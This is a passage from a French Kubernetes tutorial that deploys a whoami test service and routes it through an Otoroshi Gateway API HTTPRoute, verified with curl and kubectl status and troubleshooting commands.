&lt;p&gt;Déployons maintenant quelque chose vers quoi router réellement du trafic. J’utilise &lt;code&gt;traefik/whoami&lt;/code&gt;, un petit serveur web en Go qui renvoie des informations sur la requête HTTP qu’il a reçue. Parfait pour le débogage et les démos.&lt;/p&gt;
&lt;p&gt;Voici le manifeste complet (&lt;code&gt;manifests/routes.yaml&lt;/code&gt;) :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Namespace&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;demo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;apps/v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Deployment&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;whoami&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;demo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  labels&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    app&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;whoami&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;spec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  replicas&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  selector&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    matchLabels&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      app&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;whoami&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  template&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      labels&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        app&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;whoami&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    spec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      containers&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;whoami&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          image&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;traefik/whoami:latest&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          ports&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;http&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;              containerPort&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;80&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          readinessProbe&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            httpGet&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;              path&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;              port&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;http&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            initialDelaySeconds&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            periodSeconds&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          livenessProbe&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            httpGet&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;              path&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;              port&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;http&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            initialDelaySeconds&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            periodSeconds&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Service&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;whoami&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;demo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  labels&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    app&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;whoami&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;spec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  type&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;ClusterIP&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  selector&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    app&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;whoami&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  ports&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;http&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      port&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;80&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      targetPort&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;http&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;gateway.networking.k8s.io/v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;HTTPRoute&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;my-route&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;demo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;spec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  parentRefs&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;demo-otoroshi-gateway&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    sectionName&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;http&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  hostnames&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;&quot;whoami.demo-cke.io&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  rules&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;matches&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    - &lt;/span&gt;&lt;span&gt;path&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        type&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;PathPrefix&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;/v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    backendRefs&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;whoami&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      port&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;80&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      weight&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;La &lt;code&gt;HTTPRoute&lt;/code&gt; est particulièrement intéressante. Passons-la en revue :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;parentRefs&lt;/code&gt; — référence notre Gateway &lt;code&gt;demo-otoroshi-gateway&lt;/code&gt; (remarque : comme la Gateway est dans le namespace &lt;code&gt;demo&lt;/code&gt; et que la HTTPRoute est aussi dans &lt;code&gt;demo&lt;/code&gt;, aucune autorisation de référence entre namespaces n’est nécessaire). &lt;code&gt;sectionName: http&lt;/code&gt; rattache cette route spécifiquement au listener &lt;code&gt;http&lt;/code&gt; de cette gateway.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;hostnames&lt;/code&gt; — cette route ne s’applique qu’aux requêtes portant l’en-tête &lt;code&gt;Host: whoami.demo-cke.io&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;rules&lt;/code&gt; — une seule règle : capter les requêtes dont le chemin commence par &lt;code&gt;/v1&lt;/code&gt; et les transmettre au service &lt;code&gt;whoami&lt;/code&gt; sur le port 80&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Appliquez-le :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; apply&lt;/span&gt;&lt;span&gt; -f&lt;/span&gt;&lt;span&gt; manifests/routes.yaml&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Après quelques instants, vérifiez le statut de la HTTPRoute :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; get&lt;/span&gt;&lt;span&gt; httproute&lt;/span&gt;&lt;span&gt; my-route&lt;/span&gt;&lt;span&gt; -n&lt;/span&gt;&lt;span&gt; demo&lt;/span&gt;&lt;span&gt; -o&lt;/span&gt;&lt;span&gt; yaml&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Le statut devrait afficher :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;status&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  parents&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;conditions&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    - &lt;/span&gt;&lt;span&gt;lastTransitionTime&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;...&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      message&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Route accepted&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      reason&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Accepted&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      status&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;True&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      type&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Accepted&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    - &lt;/span&gt;&lt;span&gt;lastTransitionTime&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;...&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      message&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;All references resolved&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      reason&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;ResolvedRefs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      status&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;True&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      type&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;ResolvedRefs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    parentRef&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;demo-otoroshi-gateway&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      sectionName&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;http&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Accepted: True&lt;/code&gt; et &lt;code&gt;ResolvedRefs: True&lt;/code&gt; : toutes les références de backend sont valides et la route a été acceptée par la gateway.&lt;/p&gt;
&lt;h3 id=&quot;étape-11--configuration-dns&quot;&gt;Étape 11 : configuration DNS&lt;/h3&gt;
&lt;p&gt;Il faut que &lt;code&gt;whoami.demo-cke.io&lt;/code&gt; résolve vers l’IP externe de notre load balancer. Dans une installation réelle, vous ajouteriez un enregistrement DNS A (ou un enregistrement wildcard &lt;code&gt;*.demo-cke.io&lt;/code&gt;) pointant vers cette IP.&lt;/p&gt;
&lt;p&gt;Récupérez l’IP de votre load balancer :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; -n&lt;/span&gt;&lt;span&gt; otoroshi&lt;/span&gt;&lt;span&gt; get&lt;/span&gt;&lt;span&gt; service&lt;/span&gt;&lt;span&gt; otoroshi-lb-external&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;NAME&lt;/span&gt;&lt;span&gt;                   TYPE&lt;/span&gt;&lt;span&gt;           CLUSTER-IP&lt;/span&gt;&lt;span&gt;      EXTERNAL-IP&lt;/span&gt;&lt;span&gt;        PORT&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;S&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;otoroshi-lb-external&lt;/span&gt;&lt;span&gt;   LoadBalancer&lt;/span&gt;&lt;span&gt;   10.x.x.x&lt;/span&gt;&lt;span&gt;        &amp;#x3C;&lt;/span&gt;&lt;span&gt;LOAD_BALANCER_I&lt;/span&gt;&lt;span&gt;P&lt;/span&gt;&lt;span&gt;&gt;&lt;/span&gt;&lt;span&gt;  80:...,&lt;/span&gt;&lt;span&gt; 443:...&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Pour cette démo, plutôt que de configurer un vrai DNS, nous pouvons utiliser l’option &lt;code&gt;--resolve&lt;/code&gt; de &lt;code&gt;curl&lt;/code&gt; pour associer manuellement le nom d’hôte à l’IP — ce qui simule le travail du DNS.&lt;/p&gt;
&lt;h3 id=&quot;étape-12--lheure-de-vérité&quot;&gt;Étape 12 : l’heure de vérité&lt;/h3&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;curl&lt;/span&gt;&lt;span&gt; -v&lt;/span&gt;&lt;span&gt; --resolve&lt;/span&gt;&lt;span&gt; whoami.demo-cke.io:80:&lt;/span&gt;&lt;span&gt;&amp;#x3C;&lt;/span&gt;&lt;span&gt;LOAD_BALANCER_I&lt;/span&gt;&lt;span&gt;P&lt;/span&gt;&lt;span&gt;&gt;&lt;/span&gt;&lt;span&gt; http://whoami.demo-cke.io/v1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Si tout est correctement branché, vous verrez quelque chose comme :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;*   Trying &amp;#x3C;LOAD_BALANCER_IP&gt;:80...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;* Connected to whoami.demo-cke.io (&amp;#x3C;LOAD_BALANCER_IP&gt;) port 80&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&gt; GET /v1 HTTP/1.1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&gt; Host: whoami.demo-cke.io&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&gt; User-Agent: curl/8.x.x&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&gt; Accept: */*&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;#x3C; HTTP/1.1 200 OK&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;#x3C; Content-Type: text/plain; charset=utf-8&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;#x3C;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Hostname: whoami-xxxxxxxxx-xxxxx&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;IP: 127.0.0.1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;IP: ::1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;IP: 10.x.x.x&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;RemoteAddr: 10.x.x.x:xxxx&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;GET /v1 HTTP/1.1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Host: whoami.demo-cke.io&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;User-Agent: curl/8.x.x&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Accept: */*&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;X-Forwarded-For: x.x.x.x&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;X-Forwarded-Host: whoami.demo-cke.io&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;X-Forwarded-Proto: http&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;X-Real-Ip: x.x.x.x&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Un beau HTTP 200. Le trafic est passé de &lt;code&gt;curl&lt;/code&gt; → load balancer Clever Cloud → Otoroshi (qui route selon la &lt;code&gt;HTTPRoute&lt;/code&gt; que nous avons définie) → le pod &lt;code&gt;whoami&lt;/code&gt; du namespace &lt;code&gt;demo&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Remarquez les en-têtes &lt;code&gt;X-Forwarded-For&lt;/code&gt;, &lt;code&gt;X-Forwarded-Host&lt;/code&gt; et &lt;code&gt;X-Real-Ip&lt;/code&gt; injectés par Otoroshi. C’est transparent pour le service backend, mais entièrement géré au niveau de la gateway.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;conseils-de-dépannage&quot;&gt;Conseils de dépannage&lt;/h2&gt;
&lt;p&gt;Si quelque chose ne fonctionne pas, voici ma checklist de débogage :&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Consultez les logs d’Otoroshi :&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; -n&lt;/span&gt;&lt;span&gt; otoroshi&lt;/span&gt;&lt;span&gt; logs&lt;/span&gt;&lt;span&gt; -f&lt;/span&gt;&lt;span&gt; deploy/otoroshi&lt;/span&gt;&lt;span&gt; --tail=200&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Cherchez les lignes qui mentionnent &lt;code&gt;KubernetesGatewayApiControllerJob&lt;/code&gt;, &lt;code&gt;GatewayClass&lt;/code&gt; ou &lt;code&gt;HTTPRoute&lt;/code&gt;. Toute erreur de réconciliation apparaîtra ici.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Vérifiez le statut des ressources :&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; get&lt;/span&gt;&lt;span&gt; gatewayclass&lt;/span&gt;&lt;span&gt; otoroshi&lt;/span&gt;&lt;span&gt; -o&lt;/span&gt;&lt;span&gt; yaml&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; get&lt;/span&gt;&lt;span&gt; gateway&lt;/span&gt;&lt;span&gt; demo-otoroshi-gateway&lt;/span&gt;&lt;span&gt; -n&lt;/span&gt;&lt;span&gt; demo&lt;/span&gt;&lt;span&gt; -o&lt;/span&gt;&lt;span&gt; yaml&lt;/span&gt;&lt;/span&gt;
